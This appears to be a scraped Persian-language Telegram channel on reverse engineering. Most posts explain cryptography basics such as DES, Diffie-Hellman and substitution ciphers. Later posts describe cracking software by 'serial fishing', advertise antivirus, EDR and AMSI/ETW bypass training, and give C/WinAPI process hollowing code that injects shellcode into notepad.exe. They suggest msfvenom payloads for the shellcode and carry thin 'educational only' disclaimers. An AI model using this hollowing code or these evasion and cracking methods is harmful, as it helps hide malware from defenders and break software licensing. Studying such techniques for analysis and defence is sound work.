ru
Feedback
ReverseEngineering

ReverseEngineering

Открыть в Telegram
1 265
Подписчики
Нет данных24 часа
-37 дней
+730 дней
Архив постов
Repost from ReverseEngineering
رمزنگاری DES استاندارد رمزنگاری داده (DES) یک الگوریتم ریاضیه كه برای رمزنگاری و رمزگشایی اطلاعات كدشده باینری به كار میره رمزنگاری داده ها رو تبدیل به داده های نامفهومی به نام cipher میکنه رمزگشایی از cipher اون رو به داده های اصلی برمیگردونه الگوریتم ذکر شده هر دو عملیات رمزنگاری و رمزگشایی رو بر اساس یک عدد باینری به نام كلید مشخص میکنه داده ها تنها در صورتی قابل بازیابی از cipher هستند كه دقیقا از كلیدی كه برای رمزنگاری استفاده شده برای رمزگشایی استفاده بشه

Repost from ReverseEngineering
الگوریتم های رمزنگاری متقارن
یک الگوریتم متقارن از یک كلید برای رمزنگاری و از همون کلید برای رمزگشایی استفاده میکنه بیشترین شكل استفاده از این نوع رمزنگاری كه در كارتهای هوشمند و البته در بیشتر سیستمهای امنیت اطلاعات وجود داره Data Encryption Algorithm یا DEA هست كه بیشتر بعنوان DES شناخته میشه الگوریتم DES یک محصول دولت ایالات متحده است كه امروزه بعنوان یک استاندارد بین‌المللی شناخته ‌شده و بطور زیادی مورد استفاده قرار میگیره و کاربرد داره بلوک های 64 بیتی دیتا توسط یک كلید تنها كه معمولا 56 بیت طول داره رمزنگاری و رمزگشایی میشن الگوریتم DES از نظر محاسباتی ساده است

Repost from ReverseEngineering
الگوريتمهای کليد متقارن یا Symmetric Key Algorithms
رمز گذاری و رمز برداری با يک کليد انجام میشه از این دسته می تونیم روش های زیر رو نام ببریم
DES (Data Encryption Standard) 3DES الگوريتمهای کليد نامتقارن (کليد عمومی) یا Asymmetric Key Algorithms
هر فرد يک کليد عمومی و يک کليد خصوصی داره که بر اساس قوانين زير عمل می کنن: D(E(P))=P
که داخل این رابطه D از E بسيار بسيار سخت تره بنابراین E رو نمیتونیم به سادگی کشف کنیم دیفی-هلمن و RSA نمونه ای از اين الگوريتمها هستند

Repost from ReverseEngineering
رمز های جابجایی
رمز های جابجایی

Repost from ReverseEngineering
انواع روشهای رمزنگاری روش های رمزنگاری رو در ساده ترین حالت ممکن به دو نوع رمزهای جانشینی و جایگشتی تقسیم بندی میکنیم در ادامه توضیحاتی رو در خصوص هر یک از این روش های رمزنگاری میگیم رمزهاي جانشينی
در رمز جانشيني هر حرف يا گروهی از حروف به جای حرف يا گروهی از حروف ديگه قرار میگیرن تا پنهان سازی انجام بشخ در اين روش a به D ، b به E ، c به F ، ...... و z به C تبديل ميشن به عنوان مثال : عبارتattack به DWWDFN تبدیل میشه در مثال ها متن ساده با حروف كوچك و متن رمزی با حروف بزرگ مشخص میشه در این مثال کلید (k) برابر 3 هست که میتونه متغیر باشه هر سیستم رمزنگاری که در اون یک سمبل با سمبل دیگر جایگزین میشه اصطلاحا سیستم جانشینی تک حرفی گفته میشه که در اون کلید رمز یک رشته ی 26 حرفی هست متن ساده: a b c d e f g h I j k l m n o p q r s t u v w x y z متن رمزي: Q W E R T Y U I O P A S D F G H J K L Z X C V B N
مثال : طبق این الگو عبارت attack به متن QZZQEA تبديل میشه روش ديگه حدس زدن كلمه يا حروفه به عنوان مثال متن رمزی زير رو از يك موسسه مالی درنظر بگيريد(به صورت گروههای پنج كاراكتری دسته بندی شدن ): CTBMN BYCTC BTJDS QXBNS GSTJC BTSWX CTQTZ CQVUJ QJSGS TJQZZ MNQJS VLNSX VSZJU JDSTS JQUUS JUBXJ DSKSU JSNTK BGAQJ ZBGYQ TLCTZ BNYBN QJSW يكي از كلماتی كه ممكنه در موسسه مالی باشد financial هست با توجه به اينكه كلمه financial  حرف تكراري داره و (i) است به طوری كه چهار حرف ديگه بين دو اتفاق i وجود داره حروف تكراری در متن رمزی رو در اين فاصله پيدا می كنيم 12 مورد وجود داره كه در موقعيت هاي 6 و 15 و 27 و 31 و 42 و 48 و 56 و 66 و 70 و 71 و 76 و 82 است (از چپ به راست) فقط در دو تا از اينها يعني 31 و 42 كاراكتر بعدی (متناظر با n در متن ساده) در موقعيت مناسبي تكرار شده از اين دو تا فقط در موقعيت 31 حرف a در موقعيت درستی قرار داره بنابراین میفهمیم كه financial از موقعيت 30 شروع میشه پس با استفاده از تكرار آماری در متن انگليسی به راحتی میتونیم به كليد دسترسی پیدا کنیم رمزهای جابجايی
رمزهای جانشينی ترتيب نماد های متن ساده رو حفظ میكنن ولي اونا را تغيير میدن رمز های جابه جايی ترتيب حروف رو عوض میکنن ولی اونا رو را تغيير نمیدن

Repost from ReverseEngineering
Serial Fishing در روش سریال فیشینگ ما در واقع به دنبال کد های فعال سازی داخل خود نرم افزار میگردیم که به صورت ثابت داخل نرم افزار وجود داره و اونا رو پیدا میکنیم و به راحتی نرم افزار رو فعال سازی میکنیم امروزه این نوع روش فعال سازی زیاد استفاده نمیشه ولی هنوزم نرم افزار هایی هستن که به این صورت کرک میشن

Repost from ReverseEngineering
الگوریتم رمزنگاری Cryptography Algorithm الگوریتم رمزنگاری به هر الگوریتم یا تابع ریاضی گفته میشه که به علت داشتن موارد خواص مورد نیاز در رمزنگاری در پروتکل‌های رمزنگاری مورد استفاده قرار بگیره اصطلاح الگوریتم رمزنگاری یک مفهوم جامعه و لازم نیست هر الگوریتم از این دسته به طور مستقیم برای رمزگذاری اطلاعات مورد استفاده قرار بگیره بلکه صرفاً وجود کاربرد مربوط به رمزنگاری مد نظره در گذشته سازمان‌ها و شرکت‌هایی که نیاز به رمزگذاری یا سرویس‌های دیگر رمزنگاری داشتند الگوریتم رمزنگاری منحصر به ‌فردی رو طراحی کردند به مرور زمان مشخص شد که گاهی ضعف‌های امنیتی بزرگی در این الگوریتم‌ها وجود داره که موجب اسون بودن شکسته شدن رمز میشه به همین دلیل امروزه رمزنگاری مبتنی بر پنهان داشتن الگوریتم رمزنگاری منسوخ شده و در روش‌های جدید رمزنگاری فرض بر اینه که اطلاعات کامل الگوریتم رمزنگاری منتشر شده‌ و اونی که پنهانه فقط کلید رمزه

Repost from ReverseEngineering
پروتکل تبادل کلید دیفی ، هلمن Diff i-Hellman Key Exchange Algorithm یک پروتکل رمزنگاریه که با استفاده از اون دو نفر یا دو سازمان می‌تونن بدون نیاز به هر گونه آشنایی از قبل یک کلید رمز مشترک ایجاد کنن و اون رو از طریق یک مسیر ارتباطی غیر امن بین خود تبادل کنن این پروتکل اولین روش عملی مطرح شده برای تبادل کلید رمز درمسیرهای ارتباطی غیر امنه و مشکل تبادل کلید رمز در رمزنگاری کلید متقارن رو اسون میکنه این پروتکل در سال 1976 توسط دو دانشمند رمزشناس به نام‌ های ویتفیلد دیفی و مارتین هلمن طراحی شده و در قالب یک مقاله علمی منتشر شده مطرح شدن این پروتکل گام مهمی در معرفی و توسعه رمزنگاری کلید نامتقارن به حساب میاد

Repost from ReverseEngineering
پروتکل رمزنگاری Cryptography Protocol به طور کلی یک پروتکل رمزنگاری مجموعه‌ای از قواعد و روابط ریاضیه که چگونه ترکیب کردن الگوریتم‌های رمز نگاری و استفاده از اونها به منظور ارائه یک سرویس رمزنگاری خاص در یک کاربرد خاص رو فراهم میسازه وظایف یک پروتکل رمزنگاری رو میتونیم بصورت کلی به دسته های زیر طبقه بندی کنیم :
معمولاً یک پروتکل رمزنگاری مشخص می‌کند که اطلاعات موجود در چه قالبی باید قرار بگیرن چه روشی برای تبدیل اطلاعات به عناصر ریاضی باید اجرا شه کدوم از الگوریتم‌های رمزنگاری و با کدام پارامترها باید مورد استفاده قرار بگیرن روابط ریاضی چگونه به اطلاعات عددی تبدیل شن چه اطلاعاتی باید بین طرف ارسال‌کننده و دریافت‌کننده رد و بدل شه چه مکانیسم ارتباطی برای انتقال اطلاعات مورد نیازه به عنوان مثال می‌توان به پروتکل تبادل کلید دیفی-هلمن برای ایجاد و تبادل کلید رمز مشترک بین دو طرف اشاره کرد

Repost from ReverseEngineering
رمزنگاری سخت افزاری یا Hardware Cryptography الگوریتم‌های رمزنگاری رو میتونیم هم به صورت سخت افزاری (به منظور سرعت بالاتر) و هم به صورت نرم افزاری (برای انعطاف پذیری بیشتر) پیاده سازی کرد روشهای جانشینی و جایگشتی می‌تونن با یک مدار ساده الکترونیکی پیاده سازی شن p-box ابزاری است که برای جایگشت بیتهای یک ورودی هشت بیتی کاربرد داره با سیم بندی و برنامه ریزی درونی این p-box قادره که هر گونه جایگشت بیتی رو عملاً با سرعتی نزدیک به سرعت نور انجام بده چرا که هیچ گونه محاسبه‌ای لازم نیست وفقط تأخیر انتشار سیگنال وجود داره این طراحی از اصل کرکهف تبعیت می‌کنه یعنی : حمله کننده از روش عمومی جایگشت بیت‌ها مطلّع هست اونچه که او از تون خبر نداره اونه که کدام بیت به کدام بیت نوشته میشه کلید رمز همینه

Repost from ReverseEngineering
برخی اصطلاحات دیگه در رمز نگاری متن ساده : اطلاعات اوليه كه هنوز رمز نگاری نشدن متن رمزی : اطلاعاتی كه رمز نگاری شدن الگوريتم رمز نگاری : الگوريتمی كه متن ساده رو به متن رمزی تبديل میکنه كليد رمز : داده ايه كه الگوريتم رمز نگاری متن ساده رو به متن رمزی تبديل ميکنه و برعكس رمز نگاری : فرايند تبديل متن ساده به متن رمزی رمز گشايی : فرايند تبديل متن رمزی به متن ساده

🔪 بایپس آنتی‌ویروس‌ها: وقتی شکارچی، شکارچی رو دور میزنه. ⚡️ 👺بایپس آنتی‌ویروس یعنی ورود از در پشتی دنیای صفر و یک... آنتی‌ویروس‌ها، EDRها و حتی XDRهای نسل جدید مثل سگ‌های نگهبان پشت درِ سیستم وایسادن.ولی مشکل اینجاست: این سگ‌ها همه چیز رو نمی‌فهمن. 👁 اون‌چیزی که یه ابزار امنیتی می‌بینه همیشه تمام واقعیت نیست ما یاد می‌گیریم چطور طوری حرکت کنیم که اصلا دیده نشیم نه با خشونت با ظرافت، با مهندسی. 💻 اینجا قرار نیست فقط یه "فایل مخرب" بسازیم که آنتی‌ویروس رد نکنه اینجا نشونتون میدم: چطور امضای تو توی باینری دیده نشه چطور shellcode رو بدون صدا وارد حافظه کنیم چطور توی دل process ویندوز جا خوش کنیم و حتی خود defender رو فریب بدیم و در نهایت چطور همه لایه‌های دفاعی مثل AMSI، ETW، حتی SIEM رو دور بزنیم... ⚠️ ولی قبل از هرچیز باید بدونید با چی طرفید: AV فقط دنبال فایل مشکوکه EDR دنبال رفتار پروسس‌ هاست XDR دنبال ارتباط بین سیستم‌ها و لاگ‌ هاست

✨قسمت پنجاه و یکم Safe Cast✨ 💢 موضوعات این قسمت: 00:14 مقدمه 02:52 هکرهای ایرانی و دسترسی مداوم به زیرساخت‌های حیاتی خاورمیانه 21:31 اعتراف هکر ایرانی (سینا قلی‌نژاد) به باج‌گیری سایبری 33:56 فرمان از راه دور در دل رویدادهای تقویمی 47:35 کد پنهان در فایل ناقص؛ تشخیص‌ناپذیر برای هفته‌ها 🔗 لینک مشاهده در CastBox : https://lian.ac/kgG 🎙 با حضور: حسین الفت، وحید علمی و رضا الفت @safe_defense #safe_cast

🤓Code Obfuscation وقتی برنامه نویس می‌خواد کدت رو نفهمی Obfuscation یعنی گیج کردن تحلیل‌گر با این تکنیک‌ها ساختار و منطق برنامه رو جوری تغییر میدن که برای CPU تفاوتی نداره ولی برای چشم و ابزار دیباگر وحشتناک پیچیده میشه 🤯 اهداف اصلی Obfuscation: جلوگیری از مهندسی معکوس سخت کردن تحلیل دستی و خودکار قاتی کردن ذهن تحلیل‌گر 😅 🎭 تکنیک‌های معروف Obfuscation Junk Code Insertion کدهایی که هیچ کاری نمی‌کنن (NOP یا کدهای بی‌اثر) ولی ظاهر کد رو شلوغ میکنن برای ابزارهایی مثل دیس‌اسمبلر سردرگمی ایجاد میکنن.
mov eax, eax xor ecx, ecx add ecx, 0 jmp next
Control Flow Obfuscation کد برنامه رو طوری تغییر میدن که فلو کاملا به هم بریزه مثلا به جای if ساده ده‌ها jmp و call جعلی میذارن.
cmp eax, 1 je good jmp bad ... good: ; انجام کار اصلی bad: ; بن‌بست یا کد فیک
Opaque Predicates شرط‌هایی که همیشه یه نتیجه مشخص دارن ولی تحلیلش سخته مثلا:
if ((x * x + 1) % 2 == 1) { // این همیشه true هست! }
Call/Ret Confusion استفاده از call بدون ret یا ret به جاهای عجیب برای فریب دادن تحلیل‌گرها Virtualization همون چیزی که VMProtect انجام می‌ده: کل کد اصلی رو تبدیل به یه زبان عجیب و غریب می‌کنن و با یه ماشین مجازی اجراش می‌کنن. کدی که قبلا ساده بود:
mov eax, 5 add eax, 3
تبدیل میشه به چیزی مثل:
db 0x3C, 0x29, 0x87, 0x99, ...
که فقط ماشین مجازی اون رو می‌فهمه API Obfuscation نام APIهایی مثل CreateFile، LoadLibrary یا VirtualAlloc در زمان اجرا ساخته میشن یا با توابع عجیب Resolve میشن پس ابزارها نمی‌تونن ساده شناسایی‌شون کنن Encrypted Strings رشته‌ها و پیام‌ها رمزنگاری می‌شن و فقط در زمان اجرا رمزگشایی می‌شن. برای تحلیل‌گر چیزی مثل اینه:
db 0xA1, 0xF2, 0x00, 0xC3 ; متن: “Error!” نیست؛ هنوز انکریپته.
💣 مقابله با Obfuscation Dynamic Analysis: اجرای برنامه در دیباگر و دیدن اجرای واقعی Memory Dump: از حافظه زمان اجرا کد و داده‌ها رو استخراج کن Emulation: شبیه‌سازی اجرای کدهای عجیب و درک رفتارشون Deobfuscation Tools: ابزارهایی مثل de4dot (برای دات‌نت) یا Ghidra scripts

🩸اجرای واقعی Process Hollowing با C کد زیر دقیقا همون کارو می‌کنه: اجرای یه شِل‌کد مخرب داخل پروسس بی‌گناهی مثل notepad.exe کد (C / WinAPI): > این فقط یه PoC آموزشی ساده‌ست، shellcode تستی (مثل MessageBox) استفاده شده
#include <windows.h> #include <stdio.h> int main() { STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; // بدافزار به شکل شل‌کد (مثلاً یه MessageBox ساده) unsigned char shellcode[] = { /* shellcode اینجا */ }; // اجرای notepad به‌صورت معلق CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); // گرفتن اطلاعات نخ برای تنظیم رجیستر GetThreadContext(pi.hThread, &ctx); // رزرو فضای حافظه برای کد ما LPVOID alloc = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // نوشتن کد تو حافظه اون برنامه WriteProcessMemory(pi.hProcess, alloc, shellcode, sizeof(shellcode), NULL); // تنظیم EIP برای اجرای کد ما ctx.Eip = (DWORD)alloc; SetThreadContext(pi.hThread, &ctx); // اجرای نخ ResumeThread(pi.hThread); return 0; }
🧠 نکته‌ها: تو سیستم ۶۴بیتی باید از Wow64GetThreadContext و Wow64SetThreadContext استفاده کنید جای shellcode می‌تونید هر باینری مخربی که با ابزارهایی مثل msfvenom ساختی بریزید دقت کنید: آنتی‌ویروس‌ها معمولا VirtualAllocEx + WriteProcessMemory + ResumeThread رو شکار میکنن پس بدونید Obfuscation رد نمیشه

👽چطور خودمون یه Process Hollowing بنویسیم (آموزشی برای ردتیمرها و مهندسین معکوس) (فقط برای اهداف آموزشی مسئولیت هرگونه استفاده نادرست با خودتونه) 🧬 توی ویندوز، برای اینکه یه پروسس رو Hollow کنیم، معمولاً مراحل زیر رو می‌ریم: ساخت یه پروسس معلق (Suspended): ما میایم یه پروسس بی‌گناه مثل notepad.exe رو اجرا می‌کنیم، ولی نه عادی با فلگ CREATE_SUSPENDED، می‌گیم فقط اجرا شو، اما هنوز ندو:
CreateProcessA( "C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi );
پاک‌سازی حافظه‌ی اون پروسس: بعدش باید مغز نوت‌پدو خالی کنیم! 😈
NtUnmapViewOfSection(pi.hProcess, baseAddress);
اینجا حافظه‌ی اصلی برنامه‌ی سالم از حافظه‌ی اون پروسس پاک میشه اختصاص فضای جدید برای کد خودمون: یه فضای خالی تو همون پروسس باز می‌کنیم و بدافزار خودمونو اونجا می‌ریزیم:
VirtualAllocEx(pi.hProcess, baseAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, baseAddress, shellcode, size, NULL);
 تنظیم رجیسترها روی Entry Point جدید: یه تیر خلاص! یعنی CPU باید از کد ما شروع کنه:
context.Eax = baseAddress + entryPointOffset; SetThreadContext(pi.hThread, &context);
اجرای پروسس: حالا نخ اجرا رو از حالت توقف درمیاریم، و همه چی به ظاهر طبیعیه: ResumeThread(pi.hThread); و... 🎭 بدافزار ما تو لباس نوت‌پد داره با لبخند کار خودشو میکنه 🎯 چرا این آموزش مهمه برای مهندس معکوس؟ اگه دقیق نفهمی یه فایل چطور ساخته شده نمی‌تونی تشخیص بدی کجاش فیکه مهندسی معکوس یعنی باز کردن مغز این‌جور فایل‌ها و فهمیدن اینکه پشت پرده چی میگذره